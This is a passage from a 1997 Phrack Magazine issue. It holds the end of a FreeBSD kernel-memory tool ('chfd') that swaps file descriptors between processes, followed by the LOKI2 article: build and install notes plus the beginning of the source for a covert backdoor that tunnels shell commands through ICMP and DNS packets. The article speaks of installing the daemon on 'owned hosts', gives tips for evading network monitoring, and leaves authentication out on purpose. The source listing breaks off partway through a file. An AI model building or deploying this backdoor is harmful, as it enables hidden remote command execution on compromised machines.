* Compile with: gcc chfd.c -o chfd -lkvm
|
|||
|
*
|
|||
|
* With two sets of arguments, exchanges a couple of fd between the
|
|||
|
* two processes.
|
|||
|
* With three sets, the second process gets the first's fd, the third
|
|||
|
* gets the second's fd, and the first gets the third's fd.
|
|||
|
*
|
|||
|
* Note that this is inherently unsafe, since we're messing with kernel
|
|||
|
* variables while the kernel itself might be changing them. It works
|
|||
|
* in practice, but no self-respecting program would want to do this.
|
|||
|
*
|
|||
|
* Written by: orabidoo <odar@pobox.com>
|
|||
|
* FreeBSD version: 4 May 97
|
|||
|
*/
|
|||
|
|
|||
|
|
|||
|
#include <stdio.h>
|
|||
|
#include <fcntl.h>
|
|||
|
#include <kvm.h>
|
|||
|
#include <sys/proc.h>
|
|||
|
|
|||
|
#define NEXTP ((char *)&p.p_list.le_next - (char *)&p)
|
|||
|
#define FILES ((char *)&p.p_fd - (char *)&p)
|
|||
|
#define AD(fd) (readvalz(readvalz(procp + FILES)) + 4*(fd))
|
|||
|
|
|||
|
kvm_t *kfd;
|
|||
|
struct proc p;
|
|||
|
u_long procp, allproc;
|
|||
|
struct nlist nm[2];
|
|||
|
|
|||
|
u_long readval(u_long ad) {
|
|||
|
u_long val;
|
|||
|
|
|||
|
if (kvm_read(kfd, ad, &val, 4) != 4)
|
|||
|
fprintf(stderr, "error reading...\n"), exit(1);
|
|||
|
return val;
|
|||
|
}
|
|||
|
|
|||
|
u_long readvalz(u_long ad) {
|
|||
|
u_long r = readval(ad);
|
|||
|
if (r == 0)
|
|||
|
fprintf(stderr, "NULL pointer found (fd not open?)\n"), exit(1);
|
|||
|
return r;
|
|||
|
}
|
|||
|
|
|||
|
void writeval(u_long ad, u_long val) {
|
|||
|
if (kvm_write(kfd, ad, &val, 4) != 4)
|
|||
|
fprintf(stderr, "error writing...\n"), exit(1);
|
|||
|
}
|
|||
|
|
|||
|
void readproc(u_long ad) {
|
|||
|
if (kvm_read(kfd, ad, &p, sizeof(struct proc)) != sizeof(struct proc))
|
|||
|
fprintf(stderr, "error reading a struct proc...\n"), exit(1);
|
|||
|
}
|
|||
|
|
|||
|
void findproc(int pid) {
|
|||
|
u_long adr;
|
|||
|
|
|||
|
for (adr = readval(allproc); adr; adr = readval(adr + NEXTP)) {
|
|||
|
procp = adr;
|
|||
|
readproc(procp);
|
|||
|
if (p.p_pid == pid) return;
|
|||
|
}
|
|||
|
fprintf(stderr, "Process not found\n");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
int main(int argc, char **argv) {
|
|||
|
int pid1, fd1, pid2, fd2, pid3, fd3;
|
|||
|
u_long ad1, val1, ad2, val2, ad3, val3;
|
|||
|
int three=0;
|
|||
|
|
|||
|
if (argc != 5 && argc != 7)
|
|||
|
fprintf(stderr, "Use: %s pid1 fd1 pid2 fd2 [pid3 fd3]\n", argv[0]),
|
|||
|
exit(1);
|
|||
|
|
|||
|
pid1 = atoi(argv[1]), fd1 = atoi(argv[2]);
|
|||
|
pid2 = atoi(argv[3]), fd2 = atoi(argv[4]);
|
|||
|
if (argc == 7)
|
|||
|
pid3 = atoi(argv[5]), fd3 = atoi(argv[6]), three=1;
|
|||
|
|
|||
|
if (pid1 == 0)
|
|||
|
pid1 = getpid(), fd1 = open("/dev/null", O_RDWR);
|
|||
|
if (pid2 == 0)
|
|||
|
pid2 = getpid(), fd2 = open("/dev/null", O_RDWR);
|
|||
|
if (three && pid3 == 0)
|
|||
|
pid3 = getpid(), fd3 = open("/dev/null", O_RDWR);
|
|||
|
|
|||
|
kfd = kvm_open(NULL, NULL, NULL, O_RDWR, "chfd");
|
|||
|
if (kfd == NULL) exit(1);
|
|||
|
|
|||
|
bzero(nm, 2*sizeof(struct nlist));
|
|||
|
nm[0].n_name = "_allproc";
|
|||
|
nm[1].n_name = NULL;
|
|||
|
if (kvm_nlist(kfd, nm) != 0)
|
|||
|
fprintf(stderr, "Can't read kernel name list\n"), exit(1);
|
|||
|
allproc = nm[0].n_value;
|
|||
|
|
|||
|
findproc(pid1);
|
|||
|
ad1 = AD(fd1);
|
|||
|
val1 = readvalz(ad1);
|
|||
|
printf("Found fd pointer 1, value %.8x, stored at %.8x\n", val1, ad1);
|
|||
|
|
|||
|
findproc(pid2);
|
|||
|
ad2 = AD(fd2);
|
|||
|
val2 = readvalz(ad2);
|
|||
|
printf("Found fd pointer 2, value %.8x, stored at %.8x\n", val2, ad2);
|
|||
|
|
|||
|
if (three) {
|
|||
|
findproc(pid3);
|
|||
|
ad3 = AD(fd3);
|
|||
|
val3 = readvalz(ad3);
|
|||
|
printf("Found fd pointer 3, value %.8x, stored at %.8x\n", val3, ad3);
|
|||
|
}
|
|||
|
|
|||
|
if (three) {
|
|||
|
if (readval(ad1)!=val1 || readval(ad2)!=val2 || readval(ad3)!=val3) {
|
|||
|
fprintf(stderr, "fds changed in memory while using them - try again\n");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
writeval(ad2, val1);
|
|||
|
writeval(ad3, val2);
|
|||
|
writeval(ad1, val3);
|
|||
|
} else {
|
|||
|
if (readval(ad1)!=val1 || readval(ad2)!=val2) {
|
|||
|
fprintf(stderr, "fds changed in memory while using them - try again\n");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
writeval(ad1, val2);
|
|||
|
writeval(ad2, val1);
|
|||
|
}
|
|||
|
printf("Done!\n");
|
|||
|
}
|
|||
|
|
|||
|
<-->
|
|||
|
|
|||
|
----[ EOF
|
|||
|
|
|||
|
---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 06 of 17
|
|||
|
|
|||
|
|
|||
|
-------------------------[ L O K I 2 (the implementation)
|
|||
|
|
|||
|
|
|||
|
--------[ daemon9 <route@infonexus.com>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
----[ Introduction
|
|||
|
|
|||
|
|
|||
|
This is the companion code to go with the article on covert channels in
|
|||
|
network protocols that originally appeared in P49-06. The article does not
|
|||
|
explain the concepts, it only covers the implementation. Readers desiring more
|
|||
|
information are directed to P49-06.
|
|||
|
|
|||
|
LOKI2 is an information-tunneling program. It is a proof of concept work
|
|||
|
intending to draw attention to the insecurity that is present in many network
|
|||
|
protocols. In this implementation, we tunnel simple shell commands inside of
|
|||
|
ICMP_ECHO / ICMP_ECHOREPLY and DNS namelookup query / reply traffic. To the
|
|||
|
network protocol analyzer, this traffic seems like ordinary benign packets of
|
|||
|
the corresponding protocol. To the correct listener (the LOKI2 daemon)
|
|||
|
however, the packets are recognized for what they really are. Some of the
|
|||
|
features offered are: three different cryptography options and on-the-fly
|
|||
|
protocol swapping (which is a beta feature and may not be available in your
|
|||
|
area).
|
|||
|
|
|||
|
The vulnerabilities presented here are not new. They have been known
|
|||
|
about and actively exploited for years. LOKI2 is simply one possible
|
|||
|
implementation. Implementations of similar programs exist for UDP, TCP, IGMP,
|
|||
|
etc... This is by no means limited to type 0 and type 8 ICMP packets.
|
|||
|
|
|||
|
Before you go ahead and patch owned hosts with lokid, keep in mind that
|
|||
|
when linked against the crypto libraries, it is around 70k, with about 16k
|
|||
|
alone in the data segment. It also forks off at least twice per client
|
|||
|
request. This is not a clandestine program. You want clandestine?
|
|||
|
Implement LOKI2 as an lkm, or, even better, write kernel diffs and make it
|
|||
|
part of the O/S.
|
|||
|
|
|||
|
|
|||
|
----------------------[ BUILDING AND INSTALLATION
|
|||
|
|
|||
|
Building LOKI2 should be painless. GNU autoconf was not really needed for
|
|||
|
this project; consequently you may have to edit the Makefile a bit. This
|
|||
|
shouldn't be a problem, becuase you are very smart.
|
|||
|
|
|||
|
|
|||
|
----[ I. Edit the toplevel Makefile
|
|||
|
|
|||
|
1) Make sure your OS is supported. As of this distribution, we suppport the
|
|||
|
following (if you port LOKI2 to another architecture, please send me the
|
|||
|
diffs):
|
|||
|
|
|||
|
Linux 2.0.x
|
|||
|
OpenBSD 2.1
|
|||
|
FreeBSD 2.1.x
|
|||
|
Solaris 2.5.x
|
|||
|
|
|||
|
2) Pick an encryption technology. STRONG_CRYPTO (DH and Blowfish),
|
|||
|
WEAK_CRYPTO (XOR), or NO_CRYPTO (data is transmitted in plaintext).
|
|||
|
|
|||
|
3) If you choose STRONG_CRYPTO, uncomment LIB_CRYPTO_PATH, CLIB, and MD5_OBJ.
|
|||
|
You will also need SSLeay (see below).
|
|||
|
|
|||
|
4) Chose whether or not to allocate a psudeo terminal (PTY) (may not be
|
|||
|
implemented) or just use popen (POPEN) and use the
|
|||
|
`pipe -> fork -> exec -> sh` sequence to execute commands.
|
|||
|
|
|||
|
5) See Net/3 restrictions below and adjust accordingly.
|
|||
|
|
|||
|
6) Pausing between sends is a good idea, especially when both hosts are on
|
|||
|
the same Ethernet. We are dealing with a potentially lossy protocol and
|
|||
|
there is no reliablity layer added as of this version... SEND_PAUSE
|
|||
|
maintains some order and keeps the daemon from spewing packets too fast.
|
|||
|
|
|||
|
You can also opt to increase the pause to a consdiderably larger value,
|
|||
|
making the channel harder to track on the part of the netework snooper.
|
|||
|
(This would, of course, necessitate the client to choose an even larger
|
|||
|
MIN_TIMEOUT value.
|
|||
|
|
|||
|
----[ II. Supplemental librarys
|
|||
|
|
|||
|
1) If you are using STRONG_CRYPTO you will need to get the SSLeay crypto
|
|||
|
library, version 0.6.6. DO NOT get version 0.8.x as it is untested with
|
|||
|
LOKI2. Hopefully these URLs will not expire anytime soon:
|
|||
|
|
|||
|
ftp://ftp.psy.uq.oz.au/pub/Crypto/SSL/SSLeay-0.6.6.tar.gz
|
|||
|
ftp://ftp.uni-mainz.de/pub/internet/security/ssl
|
|||
|
|
|||
|
2) Build and install SSLeay. If you decide not to install it, Make sure you
|
|||
|
correct the crypto library path LIB_CRYPTO_PATH in the Makefile and
|
|||
|
include paths in loki.h.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
----[ III. Compilation and linking
|
|||
|
|
|||
|
1) From the the toplevel directory, `make systemtype`.
|
|||
|
|
|||
|
2) This will build and strip the executables.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
----[ IV. Testing
|
|||
|
|
|||
|
1) Start the daemon in verbose mode using ICMP_ECHO (the default) `./lokid`
|
|||
|
|
|||
|
2) Start up a client `./loki -d localhost`
|
|||
|
|
|||
|
3) Issue an `ls`.
|
|||
|
|
|||
|
4) You should see a short listing of the root directory.
|
|||
|
|
|||
|
5) Yay.
|
|||
|
|
|||
|
6) For real world testing, install the daemon on a remote machine and go to
|
|||
|
town. See below for potential problems.
|
|||
|
|
|||
|
|
|||
|
----[ V. Other Options
|
|||
|
|
|||
|
The loki.h header file offers a series of configurable options.
|
|||
|
|
|||
|
MIN_TIMEOUT is the minimum amount of time in whole seconds the client will
|
|||
|
wait for a response from the server before the alarm timer goes off.
|
|||
|
|
|||
|
MAX_RETRAN (STRONG_CRYPTO only) is the maximum amount of time in whole
|
|||
|
seconds the client will retransmit its initial public key
|
|||
|
handshaking packets before giving up. This feature will be
|
|||
|
deprecated when a reliability layer is added.
|
|||
|
|
|||
|
MAX_CLIENT is the maximum amount of clients the server will accept and
|
|||
|
service concurrently.
|
|||
|
|
|||
|
KEY_TIMER is the maximum amount of time in whole seconds an idle client
|
|||
|
entry will be allowed to live in the servers database. If this
|
|||
|
amount of time has elapsed, all entries in the servers client
|
|||
|
database that have been inactive for KEY_TIMER seconds will be
|
|||
|
removed. This provides the server with a simple way to clean up
|
|||
|
resources from crashed or idle clients.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
----------------------[ LOKI2 CAVEATS AND KNOWN BUGS
|
|||
|
|
|||
|
Net/3 Restrictions
|
|||
|
|
|||
|
Under Net/3, processes interested in receiving ICMP messages must register
|
|||
|
with the kernel in order to get these messages. The kernel will then pass
|
|||
|
all ICMP messages to these registered listeners, EXCEPT for damaged ICMP
|
|||
|
packets and request packets. Net/3 TCP/IP implementations will not pass ICMP
|
|||
|
request messages of any kind to any registered listeners. This is a problem
|
|||
|
if we are going to be using ICMP_ECHO (a request type packet) and want it to
|
|||
|
be directly passed to our user-level program (lokid). We can get around this
|
|||
|
restriction by inverting the flow of the transactions. We send ICMP_ECHOREPLYs
|
|||
|
and elicit ICMP_ECHOs.
|
|||
|
|
|||
|
Note, that under Linux, we do not have this probem as ALL valid ICMP
|
|||
|
packets are delivered to user-level processes. If the daemon is installed on
|
|||
|
a Linux box, we can use the normal ICMP_ECHO -> ICMP_ECHOREPLY method of
|
|||
|
tunneling. Compile with -DNET3 according to this chart:
|
|||
|
|
|||
|
| Client |
|
|||
|
-----------------------------------------------------
|
|||
|
Daemon | ------- | Linux | *bsd* | Solaris |
|
|||
|
-----------------------------------------------------
|
|||
|
| Linux | no | yes | yes |
|
|||
|
| *bsd* | no | yes | yes |
|
|||
|
| Solaris | no | opt | opt |
|
|||
|
|
|||
|
|
|||
|
The Initialization Vector
|
|||
|
|
|||
|
When using Strong Crypto, the initialization vector (ivec) incrementation
|
|||
|
is event based. Every time a packet is sent by the client the client ivec is
|
|||
|
incremented, and, every time a packet is received by the server, the server
|
|||
|
side ivec is also incremented. This is fine if both ends stay in sync with
|
|||
|
each other. However, we are dealing with a potentially lossy protocol. If
|
|||
|
a packet from the client to the server is dropped, the ivecs become desynched,
|
|||
|
and the client can no longer communicate with the server.
|
|||
|
|
|||
|
There are two easy ways to deal with this. One would be to modify the ivec
|
|||
|
permutation routine to be time-vector based, having the ivecs increase as time
|
|||
|
goes by. This is problematic for several reasons. Initial synchronization
|
|||
|
would be difficult, especially on different machine architectures with
|
|||
|
different clock interrupt rates. Also, we would also have to pick a
|
|||
|
relatively small time interval for ivec permutations to be effective on fast
|
|||
|
networks, and the smaller the ivec time differential is, the more the protocol
|
|||
|
would suffer from clock drift (which is actually quite considerable).
|
|||
|
|
|||
|
|
|||
|
Protocol Swaping
|
|||
|
|
|||
|
Swapping protocols is broken in everything but Linux. I think it has
|
|||
|
something to do with the Net/3 socket semantics. This is probably just a bug
|
|||
|
I need to iron out. Quite possibly something I did wrong. *shrug*...
|
|||
|
Nevermind the fact that the server isn't doing any synchronous I/O multiplexing,
|
|||
|
consequently, swapping protocols requires a socket change on everone's part.
|
|||
|
This is why this feature is 'beta'.
|
|||
|
|
|||
|
|
|||
|
Authentication
|
|||
|
|
|||
|
Um, well, there is none. Any client can connect to the server, and any
|
|||
|
client can also cause the server to shut down. This is actually not a bug or
|
|||
|
a caveat. It is intentional.
|
|||
|
|
|||
|
|
|||
|
I/O
|
|||
|
|
|||
|
Should be done via select.
|
|||
|
|
|||
|
----------------------[ TODO LIST
|
|||
|
|
|||
|
- possible time vector-based ivec permutation instead of event-based as event
|
|||
|
based is prone to synch failures, OR, even better, a reliability layer.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
----[ The technologies
|
|||
|
|
|||
|
|
|||
|
----------------------[ SYMMETRIC BLOCK CIPHER
|
|||
|
|
|||
|
A symmetric cipher is one that uses the same key for encryption and
|
|||
|
decryption, or the decryption key is easily derivable from the encryption key.
|
|||
|
Symmetric ciphers tend to be fast and well suited for bulk encryption, but
|
|||
|
suffer from woeful key distribution problems. A block cipher is simply one
|
|||
|
that encrypts data in blocks (usually 64-bits). The symmetric block cipher
|
|||
|
employed by LOKI2 is Blowfish in CFB mode with a 128-bit key.
|
|||
|
|
|||
|
|
|||
|
----------------------[ CFB MODE
|
|||
|
|
|||
|
Symmetric block ciphers can be implemented as self-synchronizing stream
|
|||
|
ciphers. This is especially useful for data that is not suitable for padding
|
|||
|
or when data needs to processed in byte-sized chunks. In CFB mode, data is
|
|||
|
encrypted in units smaller then the block size. In our case, each encryption
|
|||
|
of the 64-bit block cipher encrypts 8-bits of plaintext. The initialization
|
|||
|
vector, which is used to seed the process, must be unique but not secret. We
|
|||
|
use every 3rd byte of the symmetric key for our IV. The IV must change for
|
|||
|
each message, to do this, we simply increment it as packets are generated.
|
|||
|
|
|||
|
|
|||
|
----------------------[ BLOWFISH
|
|||
|
|
|||
|
Blowfish is a variable key length symmetric cipher designed by Bruce
|
|||
|
Schneier. It is a portable, free, fast, strong algorithm.
|
|||
|
It offers a key length of up to 448-bits, however, for LOKI2 we use
|
|||
|
a 128-bit key.
|
|||
|
|
|||
|
|
|||
|
----------------------[ ASYMMETRIC CIPHER
|
|||
|
|
|||
|
An asymmetric cipher makes use of two keys, coventionally called the
|
|||
|
private key and public key. These two keys are mathematically related such
|
|||
|
that messages encrypted with one, can only be decrypted by the other. It
|
|||
|
is also infeasible to derive one key from the other. Asymmetric ciphers solve
|
|||
|
the problem of key management by negating the need for a shared secret, however
|
|||
|
they are much slower the symmetric ciphers. The perfect world in this case
|
|||
|
is a hybrid system, using both a symmetric cipher for key exchange and a
|
|||
|
symmetric cipher for encryption. This is the scheme employed in LOKI2.
|
|||
|
|
|||
|
|
|||
|
---------------------[ DIFFIE - HELLMAN
|
|||
|
|
|||
|
In 1976, Whitfield Diffie and Marty Hellman came forth with the first
|
|||
|
asymmetric cipher (DH). DH cannot be used for encryption, only for symmetric
|
|||
|
key exchange. The strength of DH relies on the apparent difficulty in
|
|||
|
computing discrete logarithms in a finite field. DH generates a shared secret
|
|||
|
based off of 4 components:
|
|||
|
|
|||
|
P the public prime
|
|||
|
g the public generator
|
|||
|
c{x, X} the client's private/public keypair
|
|||
|
s{y, Y} the server's private/public keypair
|
|||
|
SS the shared secret (from the which the key is extracted)
|
|||
|
|
|||
|
The protocol for secret generation is simple:
|
|||
|
|
|||
|
Client Server
|
|||
|
------ ------
|
|||
|
1) X = g ^ x mod P
|
|||
|
2) X -->
|
|||
|
3) Y = g ^ y mod P
|
|||
|
4) <-- Y
|
|||
|
5) SS = Y ^ x mod P SS = X ^ y mod P
|
|||
|
|
|||
|
|
|||
|
----------------------[ NETWORK FLOW
|
|||
|
|
|||
|
L O K I 2
|
|||
|
Covert channel implementation for Unix
|
|||
|
----------------------------------------------------------------------
|
|||
|
daemon9|route [guild 1997]
|
|||
|
----------------
|
|||
|
| LOKI2 CLIENT |
|
|||
|
---------------- -----------------------------------
|
|||
|
^ | sendto() | FIRST GENERATION LOKI2 DAEMON |
|
|||
|
| | -----------------------------------
|
|||
|
| | client sends | shadow() server forks
|
|||
|
| | data v
|
|||
|
| v |
|
|||
|
| | -----
|
|||
|
| | |
|
|||
|
| | |
|
|||
|
| | v fork()
|
|||
|
| | -----
|
|||
|
| | C| |P
|
|||
|
| v | |
|
|||
|
| | | ----> clean_exit() parent exits
|
|||
|
| | |
|
|||
|
| | | 2nd generation child daemon becomes leader of a new
|
|||
|
| | | session, handles initial network requests
|
|||
|
^ | |
|
|||
|
| | v
|
|||
|
| | ------------------------------
|
|||
|
| -----------> | SECOND GENERATION DAEMON | read() blocks until
|
|||
|
| LOKI2 ------------------------------ data arrives
|
|||
|
| network | ^
|
|||
|
| traffic | |
|
|||
|
| | |
|
|||
|
-------<---- | |
|
|||
|
| | |
|
|||
|
| | |
|
|||
|
| | |
|
|||
|
| v fork() |
|
|||
|
| ----- |
|
|||
|
^ C| |P |
|
|||
|
| | | | parent continues
|
|||
|
| | --->------
|
|||
|
| |
|
|||
|
| | 3rd generation daemon handles client request
|
|||
|
| v
|
|||
|
| -----------------------------
|
|||
|
--<---| THIRD GENERATION DAEMON |
|
|||
|
-----------------------------
|
|||
|
switch(PACKET_TYPE)
|
|||
|
|
|||
|
L_PK_REQ: L_REQ:
|
|||
|
STRONG_CRYPTO POPEN
|
|||
|
key management PTY |
|
|||
|
| pipe() <---------
|
|||
|
| | |
|
|||
|
-------<--------------------<------ | |
|
|||
|
| ---- |
|
|||
|
| | |
|
|||
|
| v fork() |
|
|||
|
v ----- |
|
|||
|
Unimplemented (7.97) C| |P |
|
|||
|
| | ^
|
|||
|
| ----> exit() |
|
|||
|
| |
|
|||
|
4th generation child | ---->------->---
|
|||
|
daemon execs commands v |
|
|||
|
------------------------------
|
|||
|
| FOURTH GENERATION DAEMON | exec() 4g child execs
|
|||
|
------------------------------ command in
|
|||
|
STDOUT of command /bin/sh
|
|||
|
to client via pipe
|
|||
|
|
|||
|
|
|||
|
|
|||
|
----------------------[ THANKS
|
|||
|
|
|||
|
snocrash for being sno,
|
|||
|
nirva for advice and help and the use of his FreeBSD machine,
|
|||
|
mycroft for advice and the use of his Solaris machine,
|
|||
|
alhambra for being complacent,
|
|||
|
Craig Nottingham for letting me borrow some nomenclature,
|
|||
|
truss and strace for being indespensible tools of the trade,
|
|||
|
|
|||
|
Extra Special Thanks to OPii <opii@dhp.com> for pioneering this concept and
|
|||
|
technique.
|
|||
|
|
|||
|
|
|||
|
----------------------[ THE SOURCE
|
|||
|
|
|||
|
Whelp, here it is. Extract the code from the article using one of the
|
|||
|
included extraction utilities.
|
|||
|
|
|||
|
<++> L2/Makefile
|
|||
|
# Makefile for LOKI2 Sun Jul 27 21:29:28 PDT 1997
|
|||
|
# route (c) 1997 Guild Corporation, Worldwide
|
|||
|
|
|||
|
|
|||
|
######
|
|||
|
# Choose a cryptography type
|
|||
|
#
|
|||
|
|
|||
|
CRYPTO_TYPE = WEAK_CRYPTO # XOR
|
|||
|
#CRYPTO_TYPE = NO_CRYPTO # Plaintext
|
|||
|
#CRYPTO_TYPE = STRONG_CRYPTO # Blowfish and DH
|
|||
|
|
|||
|
|
|||
|
######
|
|||
|
# If you want STRONG_CRYPTO, uncomment the following (and make sure you have
|
|||
|
# SSLeay)
|
|||
|
|
|||
|
#LIB_CRYPTO_PATH = /usr/local/ssl/lib/
|
|||
|
#CLIB = -L$(LIB_CRYPTO_PATH) -lcrypto
|
|||
|
#MD5_OBJ = md5/md5c.o
|
|||
|
|
|||
|
|
|||
|
######
|
|||
|
# Choose a child process handler type
|
|||
|
#
|
|||
|
|
|||
|
SPAWN_TYPE = POPEN
|
|||
|
#SPAWN_TYPE = PTY
|
|||
|
|
|||
|
|
|||
|
######
|
|||
|
# It is safe to leave this alone.
|
|||
|
#
|
|||
|
|
|||
|
NET3 = #-DNET3
|
|||
|
SEND_PAUSE = SEND_PAUSE=100
|
|||
|
DEBUG = #-DDEBUG
|
|||
|
#----------------------------------------------------------------------------#
|
|||
|
|
|||
|
|
|||
|
i_hear_a_voice_from_the_back_of_the_room:
|
|||
|
@echo
|
|||
|
@echo "LOKI2 Makefile"
|
|||
|
@echo "Edit the Makefile and then invoke with one of the following:"
|
|||
|
@echo
|
|||
|
@echo "linux openbsd freebsd solaris clean"
|
|||
|
@echo
|
|||
|
@echo "See Phrack Magazine issue 51 article 7 for verbose instructions"
|
|||
|
@echo
|
|||
|
|
|||
|
linux:
|
|||
|
@make OS=-DLINUX CRYPTO_TYPE=-D$(CRYPTO_TYPE) \
|
|||
|
SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \
|
|||
|
FAST_CHECK=-Dx86_FAST_CHECK IP_LEN= all
|
|||
|
|
|||
|
openbsd:
|
|||
|
@make OS=-DBSD4 CRYPTO_TYPE=-D$(CRYPTO_TYPE) \
|
|||
|
SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \
|
|||
|
FAST_CHECK=-Dx86_FAST_CHECK IP_LEN= all
|
|||
|
|
|||
|
freebsd:
|
|||
|
@make OS=-DBSD4 CRYPTO_TYPE=-D$(CRYPTO_TYPE) \
|
|||
|
SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \
|
|||
|
FAST_CHECK=-Dx86_FAST_CHECK IP_LEN=-DBROKEN_IP_LEN all
|
|||
|
|
|||
|
solaris:
|
|||
|
@make OS=-DSOLARIS CRYPTO_TYPE=-D$(CRYPTO_TYPE) \
|
|||
|
SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \
|
|||
|
LIBS+=-lsocket LIBS+=-lnsl IP_LEN= all
|
|||
|
|
|||
|
CFLAGS = -Wall -O6 -finline-functions -funroll-all-loops $(OS) \
|
|||
|
$(CRYPTO_TYPE) $(SPAWN_TYPE) $(SEND_PAUSE) $(FAST_CHECK) \
|
|||
|
$(EXTRAS) $(IP_LEN) $(DEBUG) $(NET3)
|
|||
|
|
|||
|
CC = gcc
|
|||
|
C_OBJS = surplus.o crypt.o
|
|||
|
S_OBJS = client_db.o shm.o surplus.o crypt.o pty.o
|
|||
|
|
|||
|
|
|||
|
.c.o:
|
|||
|
$(CC) $(CFLAGS) -c $< -o $@
|
|||
|
|
|||
|
all: $(MD5_OBJ) loki
|
|||
|
|
|||
|
md5obj: md5/md5c.c
|
|||
|
@( cd md5; make )
|
|||
|
|
|||
|
loki: $(C_OBJS) loki.o $(S_OBJS) lokid.o
|
|||
|
$(CC) $(CFLAGS) $(C_OBJS) $(MD5_OBJ) loki.c -o loki $(CLIB) $(LIBS)
|
|||
|
$(CC) $(CFLAGS) $(S_OBJS) $(MD5_OBJ) lokid.c -o lokid $(CLIB) $(LIBS)
|
|||
|
@(strip loki lokid)
|
|||
|
|
|||
|
clean:
|
|||
|
@( rm -fr *.o loki lokid )
|
|||
|
@( cd md5; make clean )
|
|||
|
|
|||
|
dist: clean
|
|||
|
@( cd .. ; tar cvf loki2.tar L2/ ; gzip loki2.tar )
|
|||
|
<--> Makefile
|
|||
|
<++> L2/client_db.c
|
|||
|
/*
|
|||
|
* LOKI2
|
|||
|
*
|
|||
|
* [ client_db.c ]
|
|||
|
*
|
|||
|
* 1996/7 Guild Corporation Worldwide [daemon9]
|
|||
|
*/
|
|||
|
|
|||
|
|
|||
|
#include "loki.h"
|
|||
|
#include "shm.h"
|
|||
|
#include "client_db.h"
|
|||
|
|
|||
|
extern struct loki rdg;
|
|||
|
extern int verbose;
|
|||
|
extern int destroy_shm;
|
|||
|
extern struct client_list *client;
|
|||
|
extern u_short c_id;
|
|||
|
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
extern short ivec_salt;
|
|||
|
extern u_char user_key[BF_KEYSIZE];
|
|||
|
#endif
|
|||
|
#ifdef PTY
|
|||
|
extern int mfd;
|
|||
|
#endif
|
|||
|
|
|||
|
/*
|
|||
|
* The server maintains an array of active client information. This
|
|||
|
* function simply steps through the structure array and attempts to add
|
|||
|
* an entry.
|
|||
|
*/
|
|||
|
|
|||
|
int add_client(u_char *key)
|
|||
|
{
|
|||
|
int i = 0, emptyslot = -1;
|
|||
|
#ifdef PTY
|
|||
|
char p_name[BUFSIZE] = {0};
|
|||
|
#endif
|
|||
|
|
|||
|
locks();
|
|||
|
for (; i < MAX_CLIENT; i++)
|
|||
|
{
|
|||
|
if (IS_GOOD_CLIENT(rdg))
|
|||
|
{ /* Check for duplicate entries
|
|||
|
* (which are to be expected when
|
|||
|
* not using STRONG_CRYPTO)
|
|||
|
*/
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
if (verbose) fprintf(stderr, S_MSG_DUP);
|
|||
|
#endif
|
|||
|
emptyslot = i;
|
|||
|
break;
|
|||
|
} /* tag the first empty slot found */
|
|||
|
if ((!(client[i].client_id))) emptyslot = i;
|
|||
|
}
|
|||
|
if (emptyslot == -1)
|
|||
|
{ /* No empty array slots */
|
|||
|
if (verbose) fprintf(stderr, "\nlokid: Client database full");
|
|||
|
ulocks();
|
|||
|
return (NNOK);
|
|||
|
}
|
|||
|
/* Initialize array with client info */
|
|||
|
client[emptyslot].touchtime = time((time_t *)NULL);
|
|||
|
if (emptyslot != i){
|
|||
|
client[emptyslot].client_id = c_id;
|
|||
|
client[emptyslot].client_ip = rdg.iph.ip_src;
|
|||
|
client[emptyslot].packets_sent = 0;
|
|||
|
client[emptyslot].bytes_sent = 0;
|
|||
|
client[emptyslot].hits = 0;
|
|||
|
#ifdef PTY
|
|||
|
client[emptyslot].pty_fd = 0;
|
|||
|
#endif
|
|||
|
}
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
/* copy unset bf key and set salt */
|
|||
|
bcopy(key, client[emptyslot].key, BF_KEYSIZE);
|
|||
|
client[emptyslot].ivec_salt = 0;
|
|||
|
#endif
|
|||
|
ulocks();
|
|||
|
return (emptyslot);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* Look for a client entry in the client database. Either copy the clients
|
|||
|
* key into user_key and update timestamp, or clear the array entry,
|
|||
|
* depending on the disposition of the call.
|
|||
|
*/
|
|||
|
|
|||
|
int locate_client(int disposition)
|
|||
|
{
|
|||
|
int i = 0;
|
|||
|
|
|||
|
locks();
|
|||
|
for (; i < MAX_CLIENT; i++)
|
|||
|
{
|
|||
|
if (IS_GOOD_CLIENT(rdg))
|
|||
|
{
|
|||
|
if (disposition == FIND) /* update timestamp */
|
|||
|
{
|
|||
|
client[i].touchtime = time((time_t *)NULL);
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
/* Grab the key */
|
|||
|
bcopy(client[i].key, user_key, BF_KEYSIZE);
|
|||
|
#endif
|
|||
|
}
|
|||
|
/* Remove entry */
|
|||
|
else if (disposition == DESTROY)
|
|||
|
bzero(&client[i], sizeof(client[i]));
|
|||
|
ulocks();
|
|||
|
return (i);
|
|||
|
}
|
|||
|
}
|
|||
|
ulocks(); /* Didn't find the client */
|
|||
|
return (NNOK);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* Fill a string with current stats about a particular client.
|
|||
|
*/
|
|||
|
|
|||
|
int stat_client(int entry, u_char *buf, int prot, time_t uptime)
|
|||
|
{
|
|||
|
|
|||
|
int n = 0;
|
|||
|
time_t now = 0;
|
|||
|
struct protoent *proto = 0;
|
|||
|
/* locate_client didn't find an
|
|||
|
* entry
|
|||
|
*/
|
|||
|
if (entry == NNOK)
|
|||
|
{
|
|||
|
fprintf(stderr, "DEBUG: stat_client nono\n");
|
|||
|
return (NOK);
|
|||
|
}
|
|||
|
